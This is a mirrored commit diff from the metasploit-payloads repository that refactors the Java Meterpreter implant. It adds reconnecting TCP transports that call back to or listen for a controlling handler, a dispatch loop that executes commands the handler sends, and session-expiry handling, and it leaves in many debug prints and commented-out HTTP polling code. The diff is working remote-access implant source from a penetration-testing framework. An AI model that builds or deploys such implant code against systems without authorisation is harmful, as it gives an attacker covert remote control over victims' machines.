mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-06 09:13:02 +01:00
Transport refactoring, dispatch functionality, and more
This commit adds a new idea to the dispatch loop that allows commands to exit. It also adds the core_shutdown command so that it functions correct. There are a bunch of other changes around transports as well, and this commit adds a "resilient" TCP transport. HTTP/S to come. progress being made. This commit is messy with debug statements all through it, and they'll get removed down the track.
This commit is contained in:
parent
4ed2b484f0
commit
bbe1ab529b
@ -1,5 +1,6 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Vector;
|
||||
@ -40,8 +41,9 @@ public class CommandManager {
|
||||
String javaversion = System.getProperty("java.version");
|
||||
if (javaversion != null && javaversion.length() > 2) {
|
||||
int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
|
||||
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
|
||||
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion) {
|
||||
apiVersion = vmVersion;
|
||||
}
|
||||
}
|
||||
this.javaVersion = apiVersion;
|
||||
|
||||
@ -101,11 +103,38 @@ public class CommandManager {
|
||||
*/
|
||||
public Command getCommand(String name) {
|
||||
Command cmd = (Command) registeredCommands.get(name);
|
||||
if (cmd == null)
|
||||
if (cmd == null) {
|
||||
cmd = NotYetImplementedCommand.INSTANCE;
|
||||
}
|
||||
return cmd;
|
||||
}
|
||||
|
||||
public int executeCommand(Meterpreter met, TLVPacket request, TLVPacket response) throws IOException {
|
||||
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
||||
System.out.println("msf : Executing " + method);
|
||||
Command cmd = this.getCommand(method);
|
||||
System.out.println("msf : Method " + (cmd == null ? "not found" : "found"));
|
||||
|
||||
int result;
|
||||
try {
|
||||
result = cmd.execute(met, request, response);
|
||||
} catch (Throwable t) {
|
||||
System.out.println("msf : something went wrong executing the command");
|
||||
t.printStackTrace(met.getErrorStream());
|
||||
result = Command.ERROR_FAILURE;
|
||||
}
|
||||
|
||||
if (result == Command.EXIT_DISPATCH) {
|
||||
System.out.println("msf : dispatch exited");
|
||||
response.add(TLVType.TLV_TYPE_RESULT, Command.ERROR_SUCCESS);
|
||||
} else {
|
||||
System.out.println("msf : dispatch didn't exit");
|
||||
response.add(TLVType.TLV_TYPE_RESULT, result);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the list of commands loaded by the last core_loadlib call
|
||||
*/
|
||||
|
@ -8,6 +8,10 @@ import java.io.EOFException;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.SocketException;
|
||||
import java.net.SocketTimeoutException;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.net.URLConnection;
|
||||
@ -27,13 +31,399 @@ import com.metasploit.meterpreter.core.core_loadlib;
|
||||
*/
|
||||
public class Meterpreter {
|
||||
|
||||
public static final int UUID_LEN = 16;
|
||||
public static final int URL_LEN = 512;
|
||||
|
||||
private final TransportList transports = new TransportList();
|
||||
private byte[] uuid;
|
||||
private long sessionExpiry;
|
||||
|
||||
private class TransportList {
|
||||
private Transport transport = null;
|
||||
private Transport nextTransport = null;
|
||||
private long wait = 0;
|
||||
|
||||
public boolean isEmpty() {
|
||||
return this.transport == null;
|
||||
}
|
||||
|
||||
public Transport current() {
|
||||
return this.transport;
|
||||
}
|
||||
|
||||
public boolean changeRequested() {
|
||||
return this.nextTransport != null;
|
||||
}
|
||||
|
||||
public void next(Meterpreter met) {
|
||||
if (this.wait > 0) {
|
||||
met.sleep(this.wait);
|
||||
this.wait = 0;
|
||||
}
|
||||
|
||||
if (this.nextTransport == null) {
|
||||
this.transport = this.transport.getNext();
|
||||
} else {
|
||||
this.transport = this.nextTransport;
|
||||
this.nextTransport = null;
|
||||
}
|
||||
}
|
||||
|
||||
public void add(Transport t) {
|
||||
if (this.transport == null) {
|
||||
// first transport, point it at itself
|
||||
t.setNext(t);
|
||||
t.setPrev(t);
|
||||
this.transport = t;
|
||||
} else {
|
||||
// wire it into the end of the circular list
|
||||
this.transport.getPrev().setNext(t);
|
||||
t.setPrev(this.transport.getPrev());
|
||||
t.setNext(this.transport);
|
||||
this.transport.setPrev(t);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private abstract class Transport {
|
||||
private Transport prev;
|
||||
private Transport next;
|
||||
|
||||
protected String url;
|
||||
protected long commTimeout;
|
||||
protected long retryTotal;
|
||||
protected long retryWait;
|
||||
|
||||
protected Transport(String url) {
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
protected int parseTimeouts(byte[] configuration, int offset) {
|
||||
// starts with the comms timeout
|
||||
this.commTimeout = 1000L * Meterpreter.unpack32(configuration, offset);
|
||||
System.out.println("msf : Comm timeout ms: " + this.commTimeout);
|
||||
offset += 4;
|
||||
|
||||
// then we have the retry total
|
||||
this.retryTotal = 1000L * Meterpreter.unpack32(configuration, offset);
|
||||
System.out.println("msf : Retry total ms: " + this.retryTotal);
|
||||
offset += 4;
|
||||
|
||||
// then we have the retry wait
|
||||
this.retryWait = 1000L * Meterpreter.unpack32(configuration, offset);
|
||||
System.out.println("msf : Retry Wait ms: " + this.retryWait);
|
||||
offset += 4;
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
protected abstract boolean tryConnect(Meterpreter met) throws IOException;
|
||||
|
||||
public abstract int parseConfig(byte[] configuration, int offset);
|
||||
public abstract void bind(DataInputStream in, OutputStream rawOut);
|
||||
public abstract void disconnect();
|
||||
public abstract boolean dispatch(Meterpreter met, CommandManager commandManager);
|
||||
|
||||
public boolean connect(Meterpreter met) {
|
||||
long lastAttempt = System.currentTimeMillis();
|
||||
|
||||
while (System.currentTimeMillis() < lastAttempt + this.retryTotal) {
|
||||
try {
|
||||
if (this.tryConnect(met)) {
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
|
||||
met.sleep(this.retryWait);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
public void setPrev(Transport t) {
|
||||
this.prev = t;
|
||||
}
|
||||
|
||||
public void setNext(Transport t) {
|
||||
this.next = t;
|
||||
}
|
||||
|
||||
public Transport getPrev() {
|
||||
return this.prev;
|
||||
}
|
||||
|
||||
public Transport getNext() {
|
||||
return this.next;
|
||||
}
|
||||
}
|
||||
|
||||
private class TcpTransport extends Transport {
|
||||
private Socket sock = null;
|
||||
private DataInputStream inputStream = null;
|
||||
private DataOutputStream outputStream = null;
|
||||
private String host;
|
||||
private int port;
|
||||
|
||||
public TcpTransport(String url) {
|
||||
super(url);
|
||||
|
||||
int portStart = url.lastIndexOf(":");
|
||||
this.port = Integer.parseInt(url.substring(portStart + 1));
|
||||
this.host = url.substring(url.lastIndexOf("/") + 1, portStart);
|
||||
System.out.println("msf : Host: " + this.host);
|
||||
System.out.println("msf : Port: " + this.port);
|
||||
}
|
||||
|
||||
public void bind(DataInputStream in, OutputStream rawOut) {
|
||||
this.inputStream = in;
|
||||
this.outputStream = new DataOutputStream(rawOut);
|
||||
}
|
||||
|
||||
public int parseConfig(byte[] configuration, int offset) {
|
||||
return this.parseTimeouts(configuration, offset);
|
||||
}
|
||||
|
||||
public void disconnect() {
|
||||
if (this.inputStream != null) {
|
||||
try {
|
||||
this.inputStream.close();
|
||||
}
|
||||
catch (IOException ex) {
|
||||
}
|
||||
this.inputStream = null;
|
||||
}
|
||||
if (this.outputStream != null) {
|
||||
try {
|
||||
this.outputStream.close();
|
||||
}
|
||||
catch (IOException ex) {
|
||||
}
|
||||
this.outputStream = null;
|
||||
}
|
||||
if (this.sock != null) {
|
||||
try {
|
||||
this.sock.close();
|
||||
}
|
||||
catch (IOException ex) {
|
||||
}
|
||||
this.sock = null;
|
||||
}
|
||||
}
|
||||
|
||||
private void flushInputStream() throws IOException {
|
||||
// we can assume that the server is trying to send the second
|
||||
// stage at this point, so let's just read that in for now.
|
||||
System.out.println("msf : Flushing the input stream");
|
||||
// this includes 4 blobs of stuff we don't want
|
||||
for (int i = 0; i < 4; i++) {
|
||||
System.out.println("msf : Flushing the input stream: " + i);
|
||||
int blobLen = this.inputStream.readInt();
|
||||
System.out.println("msf : Discarding bytes: " + blobLen);
|
||||
byte[] throwAway = new byte[blobLen];
|
||||
this.inputStream.readFully(throwAway);
|
||||
}
|
||||
}
|
||||
|
||||
protected boolean tryConnect(Meterpreter met) throws IOException {
|
||||
if (this.inputStream != null) {
|
||||
// we're already connected
|
||||
System.out.println("msf : Connecting on existing transport");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (this.host.equals("")) {
|
||||
ServerSocket server = new ServerSocket(this.port);
|
||||
this.sock = server.accept();
|
||||
server.close();
|
||||
} else {
|
||||
this.sock = new Socket(this.host, this.port);
|
||||
}
|
||||
|
||||
if (this.sock != null) {
|
||||
this.sock.setSoTimeout(500);
|
||||
this.inputStream = new DataInputStream(this.sock.getInputStream());
|
||||
this.outputStream = new DataOutputStream(this.sock.getOutputStream());
|
||||
|
||||
// this point we are effectively stageless, so flush the socket
|
||||
this.flushInputStream();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
private TLVPacket executeCommand(TLVPacket request) throws IOException {
|
||||
TLVPacket response = new TLVPacket();
|
||||
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
||||
if (method.equals("core_switch_url")) {
|
||||
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
|
||||
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
|
||||
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
||||
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
|
||||
return null;
|
||||
} else if (method.equals("core_shutdown")) {
|
||||
return null;
|
||||
}
|
||||
TLVPacket response = new TLVPacket();
|
||||
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
||||
response.add(TLVType.TLV_TYPE_METHOD, method);
|
||||
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
|
||||
Command cmd = commandManager.getCommand(method);
|
||||
int result;
|
||||
try {
|
||||
result = cmd.execute(this, request, response);
|
||||
} catch (Throwable t) {
|
||||
t.printStackTrace(getErrorStream());
|
||||
result = Command.ERROR_FAILURE;
|
||||
}
|
||||
TLVPacket response = new TLVPacket();
|
||||
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
||||
response.add(TLVType.TLV_TYPE_METHOD, method);
|
||||
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
|
||||
Command cmd = commandManager.getCommand(method);
|
||||
int result;
|
||||
try {
|
||||
result = cmd.execute(this, request, response);
|
||||
} catch (Throwable t) {
|
||||
t.printStackTrace(getErrorStream());
|
||||
result = Command.ERROR_FAILURE;
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_RESULT, result);
|
||||
return response;
|
||||
}
|
||||
*/
|
||||
|
||||
public boolean dispatch(Meterpreter met, CommandManager commandManager) {
|
||||
System.out.println("msf : In the dispatch loop");
|
||||
long lastPacket = System.currentTimeMillis();
|
||||
while (!met.hasSessionExpired() &&
|
||||
System.currentTimeMillis() < lastPacket + this.commTimeout) {
|
||||
try {
|
||||
System.out.println("msf : Waiting for packet");
|
||||
int len = this.inputStream.readInt();
|
||||
int type = this.inputStream.readInt();
|
||||
TLVPacket request = new TLVPacket(this.inputStream, len - 8);
|
||||
|
||||
System.out.println("msf : Packet received");
|
||||
|
||||
// got a packet, update the timestamp
|
||||
lastPacket = System.currentTimeMillis();
|
||||
|
||||
TLVPacket response = request.createResponse();
|
||||
int result = commandManager.executeCommand(met, request, response);
|
||||
|
||||
byte[] data = response.toByteArray();
|
||||
synchronized (this.outputStream) {
|
||||
System.out.println("msf : sending response");
|
||||
this.outputStream.writeInt(data.length + 8);
|
||||
this.outputStream.writeInt(PACKET_TYPE_RESPONSE);
|
||||
this.outputStream.write(data);
|
||||
this.outputStream.flush();
|
||||
System.out.println("msf : sent response");
|
||||
}
|
||||
|
||||
if (result == Command.EXIT_DISPATCH) {
|
||||
return true;
|
||||
}
|
||||
} catch (SocketTimeoutException ex) {
|
||||
// socket comms timeout, didn't get a packet,
|
||||
// this is ok, so we ignore it
|
||||
System.out.println("msf : Socket timeout (OK)");
|
||||
} catch (Exception ex) {
|
||||
// any other type of exception isn't good.
|
||||
System.out.println("msf : Some other exception: " + ex.getClass().getName());
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// if we get here we assume things aren't good.
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) {
|
||||
System.out.println("msf : Parsing configuration");
|
||||
// socket handle is 4 bytes, followed by exit func, both of
|
||||
// which we ignore.
|
||||
int csr = 8;
|
||||
|
||||
// We start with the expiry, which is a 32 bit int
|
||||
setExpiry(unpack32(configuration, csr));
|
||||
System.out.println("msf : Unpacked expiry: " + this.sessionExpiry);
|
||||
csr += 4;
|
||||
|
||||
// this is followed with the UUID
|
||||
this.uuid = readBytes(configuration, csr, UUID_LEN);
|
||||
System.out.println("msf : Read the UUID: " + this.uuid.length);
|
||||
csr += UUID_LEN;
|
||||
|
||||
// here we need to loop through all the given transports, we know that we're
|
||||
// going to get at least one.
|
||||
while (configuration[csr] != '\0') {
|
||||
// read the transport URL
|
||||
String url = readString(configuration, csr, URL_LEN);
|
||||
System.out.println("msf : Read URL: " + url);
|
||||
csr += URL_LEN;
|
||||
|
||||
Transport t = null;
|
||||
if (url.startsWith("tcp")) {
|
||||
t = new TcpTransport(url);
|
||||
} else {
|
||||
//t = new HttpTransport(url);
|
||||
}
|
||||
|
||||
csr = t.parseConfig(configuration, csr);
|
||||
if (this.transports.isEmpty()) {
|
||||
System.out.println("msf : Binding the first transport");
|
||||
t.bind(in, rawOut);
|
||||
}
|
||||
this.transports.add(t);
|
||||
}
|
||||
|
||||
// we don't currently support extensions, so when we reach the end of the
|
||||
// list of transports we just bomb out.
|
||||
System.out.println("msf : Finished parsing configuration");
|
||||
}
|
||||
|
||||
public void setExpiry(long seconds) {
|
||||
System.out.println("msf : Setting expiry forward seconds " + seconds);
|
||||
this.sessionExpiry = System.currentTimeMillis() + seconds * 1000L;
|
||||
}
|
||||
|
||||
public void sleep(long milliseconds) {
|
||||
try {
|
||||
Thread.sleep(milliseconds);
|
||||
} catch (InterruptedException ex) {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
|
||||
public static String readString(byte[] bytes, int offset, int size) {
|
||||
return new String(readBytes(bytes, offset, size)).trim();
|
||||
}
|
||||
|
||||
public static byte[] readBytes(byte[] bytes, int offset, int size) {
|
||||
byte[] buf = new byte[size];
|
||||
System.arraycopy(bytes, offset, buf, 0, size);
|
||||
return buf;
|
||||
}
|
||||
|
||||
public static int unpack32(byte[] bytes, int offset) {
|
||||
int res = 0;
|
||||
for (int i = 0; i < 4; i++) {
|
||||
res = res | (((int)bytes[i + offset]) & 0xFF) << (i * 8);
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
private static final int PACKET_TYPE_REQUEST = 0;
|
||||
private static final int PACKET_TYPE_RESPONSE = 1;
|
||||
|
||||
private List/* <Channel> */channels = new ArrayList();
|
||||
private final CommandManager commandManager;
|
||||
private final DataInputStream in;
|
||||
private final DataOutputStream out;
|
||||
private final Random rnd = new Random();
|
||||
private final ByteArrayOutputStream errBuffer;
|
||||
private final PrintStream err;
|
||||
@ -66,11 +456,18 @@ public class Meterpreter {
|
||||
*/
|
||||
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
|
||||
System.out.println("msf : Meterpreter constructing");
|
||||
|
||||
int configLen = in.readInt();
|
||||
byte[] configBytes = new byte[configLen];
|
||||
in.readFully(configBytes);
|
||||
|
||||
System.out.println("msf : Meterpreter config length: " + configLen);
|
||||
|
||||
loadConfiguration(in, rawOut, configBytes);
|
||||
|
||||
this.loadExtensions = loadExtensions;
|
||||
this.in = in;
|
||||
this.out = new DataOutputStream(rawOut);
|
||||
commandManager = new CommandManager();
|
||||
channels.add(null); // main communication channel?
|
||||
this.commandManager = new CommandManager();
|
||||
this.channels.add(null); // main communication channel?
|
||||
if (redirectErrors) {
|
||||
errBuffer = new ByteArrayOutputStream();
|
||||
err = new PrintStream(errBuffer);
|
||||
@ -83,21 +480,29 @@ public class Meterpreter {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean hasSessionExpired() {
|
||||
return System.currentTimeMillis() > this.sessionExpiry;
|
||||
}
|
||||
|
||||
public void startExecuting() throws Exception {
|
||||
try {
|
||||
while (true) {
|
||||
int len = in.readInt();
|
||||
int ptype = in.readInt();
|
||||
if (ptype != PACKET_TYPE_REQUEST)
|
||||
throw new IOException("Invalid packet type: " + ptype);
|
||||
TLVPacket request = new TLVPacket(in, len - 8);
|
||||
TLVPacket response = executeCommand(request);
|
||||
if (response != null)
|
||||
writeTLV(PACKET_TYPE_RESPONSE, response);
|
||||
System.out.println("msf : kicking off execution");
|
||||
while (!this.hasSessionExpired() && this.transports.current() != null) {
|
||||
if (!this.transports.current().connect(this)) {
|
||||
System.out.println("msf : connection failed, going to next transport");
|
||||
continue;
|
||||
}
|
||||
} catch (EOFException ex) {
|
||||
|
||||
System.out.println("msf : entering dispatch");
|
||||
boolean cleanExit = this.transports.current().dispatch(this, this.commandManager);
|
||||
System.out.println("msf : dispatch exited " + (cleanExit ? "cleanly" : "badly"));
|
||||
this.transports.current().disconnect();
|
||||
|
||||
if (cleanExit && !this.transports.changeRequested()) {
|
||||
break;
|
||||
}
|
||||
|
||||
this.transports.next(this);
|
||||
}
|
||||
out.close();
|
||||
synchronized (this) {
|
||||
for (Iterator it = channels.iterator(); it.hasNext(); ) {
|
||||
Channel c = (Channel) it.next();
|
||||
@ -111,147 +516,117 @@ public class Meterpreter {
|
||||
return "com.metasploit.meterpreter.PayloadTrustManager";
|
||||
}
|
||||
|
||||
/**
|
||||
* Write a TLV packet to this meterpreter's output stream.
|
||||
*
|
||||
* @param type The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
|
||||
* @param packet The packet to send
|
||||
*/
|
||||
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
|
||||
byte[] data = packet.toByteArray();
|
||||
if (tlvQueue != null) {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
DataOutputStream dos = new DataOutputStream(baos);
|
||||
dos.writeInt(data.length + 8);
|
||||
dos.writeInt(type);
|
||||
dos.write(data);
|
||||
tlvQueue.add(baos.toByteArray());
|
||||
return;
|
||||
}
|
||||
synchronized (out) {
|
||||
out.writeInt(data.length + 8);
|
||||
out.writeInt(type);
|
||||
out.write(data);
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute a command request.
|
||||
*
|
||||
* @param request The request to execute
|
||||
* @return The response packet to send back
|
||||
*/
|
||||
private TLVPacket executeCommand(TLVPacket request) throws IOException {
|
||||
TLVPacket response = new TLVPacket();
|
||||
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
||||
if (method.equals("core_switch_url")) {
|
||||
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
|
||||
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
|
||||
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
||||
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
|
||||
return null;
|
||||
} else if (method.equals("core_shutdown")) {
|
||||
return null;
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_METHOD, method);
|
||||
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
|
||||
Command cmd = commandManager.getCommand(method);
|
||||
int result;
|
||||
try {
|
||||
result = cmd.execute(this, request, response);
|
||||
} catch (Throwable t) {
|
||||
t.printStackTrace(getErrorStream());
|
||||
result = Command.ERROR_FAILURE;
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_RESULT, result);
|
||||
return response;
|
||||
}
|
||||
///**
|
||||
// * Execute a command request.
|
||||
// *
|
||||
// * @param request The request to execute
|
||||
// * @return The response packet to send back
|
||||
// */
|
||||
//private TLVPacket executeCommand(TLVPacket request) throws IOException {
|
||||
// TLVPacket response = new TLVPacket();
|
||||
// String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
||||
// if (method.equals("core_switch_url")) {
|
||||
// String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
|
||||
// int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
|
||||
// int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
||||
// pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
|
||||
// return null;
|
||||
// } else if (method.equals("core_shutdown")) {
|
||||
// return null;
|
||||
// }
|
||||
// response.add(TLVType.TLV_TYPE_METHOD, method);
|
||||
// response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
|
||||
// Command cmd = commandManager.getCommand(method);
|
||||
// int result;
|
||||
// try {
|
||||
// result = cmd.execute(this, request, response);
|
||||
// } catch (Throwable t) {
|
||||
// t.printStackTrace(getErrorStream());
|
||||
// result = Command.ERROR_FAILURE;
|
||||
// }
|
||||
// response.add(TLVType.TLV_TYPE_RESULT, result);
|
||||
// return response;
|
||||
//}
|
||||
|
||||
/**
|
||||
* Poll from a given URL until a shutdown request is received.
|
||||
*
|
||||
* @param url
|
||||
*/
|
||||
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
|
||||
synchronized (this) {
|
||||
tlvQueue = new ArrayList();
|
||||
}
|
||||
int ecount = 0;
|
||||
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
|
||||
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
|
||||
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
|
||||
byte[] outPacket = null;
|
||||
synchronized (this) {
|
||||
if (tlvQueue.size() > 0)
|
||||
outPacket = (byte[]) tlvQueue.remove(0);
|
||||
}
|
||||
TLVPacket request = null;
|
||||
try {
|
||||
URLConnection uc = url.openConnection();
|
||||
if (url.getProtocol().equals("https")) {
|
||||
// load the trust manager via reflection, to avoid loading
|
||||
// it when it is not needed (it requires Sun Java 1.4+)
|
||||
try {
|
||||
Class.forName(getPayloadTrustManager()).getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace(getErrorStream());
|
||||
}
|
||||
}
|
||||
uc.setDoOutput(true);
|
||||
OutputStream out = uc.getOutputStream();
|
||||
out.write(outPacket == null ? RECV : outPacket);
|
||||
out.close();
|
||||
DataInputStream in = new DataInputStream(uc.getInputStream());
|
||||
int len;
|
||||
try {
|
||||
len = in.readInt();
|
||||
} catch (EOFException ex) {
|
||||
len = -1;
|
||||
}
|
||||
if (len != -1) {
|
||||
int ptype = in.readInt();
|
||||
if (ptype != PACKET_TYPE_REQUEST)
|
||||
throw new RuntimeException("Invalid packet type: " + ptype);
|
||||
request = new TLVPacket(in, len - 8);
|
||||
}
|
||||
in.close();
|
||||
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||
} catch (IOException ex) {
|
||||
ex.printStackTrace(getErrorStream());
|
||||
// URL not reachable
|
||||
if (outPacket != null) {
|
||||
synchronized (this) {
|
||||
tlvQueue.add(0, outPacket);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (request != null) {
|
||||
ecount = 0;
|
||||
TLVPacket response = executeCommand(request);
|
||||
if (response == null)
|
||||
break;
|
||||
writeTLV(PACKET_TYPE_RESPONSE, response);
|
||||
} else if (outPacket == null) {
|
||||
int delay;
|
||||
if (ecount < 10) {
|
||||
delay = 10 * ecount;
|
||||
} else {
|
||||
delay = 100 * ecount;
|
||||
}
|
||||
ecount++;
|
||||
try {
|
||||
Thread.sleep(Math.min(10000, delay));
|
||||
} catch (InterruptedException ex) {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
}
|
||||
synchronized (this) {
|
||||
tlvQueue = new ArrayList();
|
||||
}
|
||||
}
|
||||
//private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
|
||||
// synchronized (this) {
|
||||
// tlvQueue = new ArrayList();
|
||||
// }
|
||||
// int ecount = 0;
|
||||
// long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
|
||||
// long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||
// final byte[] RECV = "RECV".getBytes("ISO-8859-1");
|
||||
// while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
|
||||
// byte[] outPacket = null;
|
||||
// synchronized (this) {
|
||||
// if (tlvQueue.size() > 0)
|
||||
// outPacket = (byte[]) tlvQueue.remove(0);
|
||||
// }
|
||||
// TLVPacket request = null;
|
||||
// try {
|
||||
// URLConnection uc = url.openConnection();
|
||||
// if (url.getProtocol().equals("https")) {
|
||||
// // load the trust manager via reflection, to avoid loading
|
||||
// // it when it is not needed (it requires Sun Java 1.4+)
|
||||
// try {
|
||||
// Class.forName(getPayloadTrustManager()).getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});
|
||||
// } catch (Exception ex) {
|
||||
// ex.printStackTrace(getErrorStream());
|
||||
// }
|
||||
// }
|
||||
// uc.setDoOutput(true);
|
||||
// OutputStream out = uc.getOutputStream();
|
||||
// out.write(outPacket == null ? RECV : outPacket);
|
||||
// out.close();
|
||||
// DataInputStream in = new DataInputStream(uc.getInputStream());
|
||||
// int len;
|
||||
// try {
|
||||
// len = in.readInt();
|
||||
// } catch (EOFException ex) {
|
||||
// len = -1;
|
||||
// }
|
||||
// if (len != -1) {
|
||||
// int ptype = in.readInt();
|
||||
// if (ptype != PACKET_TYPE_REQUEST)
|
||||
// throw new RuntimeException("Invalid packet type: " + ptype);
|
||||
// request = new TLVPacket(in, len - 8);
|
||||
// }
|
||||
// in.close();
|
||||
// commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||
// } catch (IOException ex) {
|
||||
// ex.printStackTrace(getErrorStream());
|
||||
// // URL not reachable
|
||||
// if (outPacket != null) {
|
||||
// synchronized (this) {
|
||||
// tlvQueue.add(0, outPacket);
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// if (request != null) {
|
||||
// ecount = 0;
|
||||
// TLVPacket response = executeCommand(request);
|
||||
// if (response == null)
|
||||
// break;
|
||||
// writeTLV(PACKET_TYPE_RESPONSE, response);
|
||||
// } else if (outPacket == null) {
|
||||
// int delay;
|
||||
// if (ecount < 10) {
|
||||
// delay = 10 * ecount;
|
||||
// } else {
|
||||
// delay = 100 * ecount;
|
||||
// }
|
||||
// sleep(Math.min(10000, delay));
|
||||
// }
|
||||
// }
|
||||
// synchronized (this) {
|
||||
// tlvQueue = new ArrayList();
|
||||
// }
|
||||
//}
|
||||
|
||||
/**
|
||||
* Get the command manager, used to register or lookup commands.
|
||||
@ -289,10 +664,12 @@ public class Meterpreter {
|
||||
*/
|
||||
public Channel getChannel(int id, boolean throwIfNonexisting) {
|
||||
Channel result = null;
|
||||
if (id < channels.size())
|
||||
if (id < channels.size()) {
|
||||
result = (Channel) channels.get(id);
|
||||
if (result == null && throwIfNonexisting)
|
||||
}
|
||||
if (result == null && throwIfNonexisting) {
|
||||
throw new IllegalArgumentException("Channel " + id + " does not exist.");
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
@ -307,8 +684,9 @@ public class Meterpreter {
|
||||
* Return the length of the currently buffered error stream content, or <code>-1</code> if no buffering is active.
|
||||
*/
|
||||
public int getErrorBufferLength() {
|
||||
if (errBuffer == null)
|
||||
if (errBuffer == null) {
|
||||
return -1;
|
||||
}
|
||||
return errBuffer.size();
|
||||
}
|
||||
|
||||
@ -316,8 +694,9 @@ public class Meterpreter {
|
||||
* Return the currently buffered error stream content, or <code>null</code> if no buffering is active.
|
||||
*/
|
||||
public byte[] getErrorBuffer() {
|
||||
if (errBuffer == null)
|
||||
if (errBuffer == null) {
|
||||
return null;
|
||||
}
|
||||
synchronized (errBuffer) {
|
||||
byte[] result = errBuffer.toByteArray();
|
||||
errBuffer.reset();
|
||||
@ -338,7 +717,8 @@ public class Meterpreter {
|
||||
requestID[i] = (char) ('A' + rnd.nextInt(26));
|
||||
}
|
||||
tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID));
|
||||
writeTLV(PACKET_TYPE_REQUEST, tlv);
|
||||
// TODO: put this back in
|
||||
//writeTLV(PACKET_TYPE_REQUEST, tlv);
|
||||
}
|
||||
|
||||
/**
|
||||
|
@ -254,6 +254,13 @@ public class TLVPacket {
|
||||
return (byte[]) getValue(type);
|
||||
}
|
||||
|
||||
public TLVPacket createResponse() throws IOException {
|
||||
TLVPacket response = new TLVPacket();
|
||||
response.add(TLVType.TLV_TYPE_METHOD, this.getStringValue(TLVType.TLV_TYPE_METHOD));
|
||||
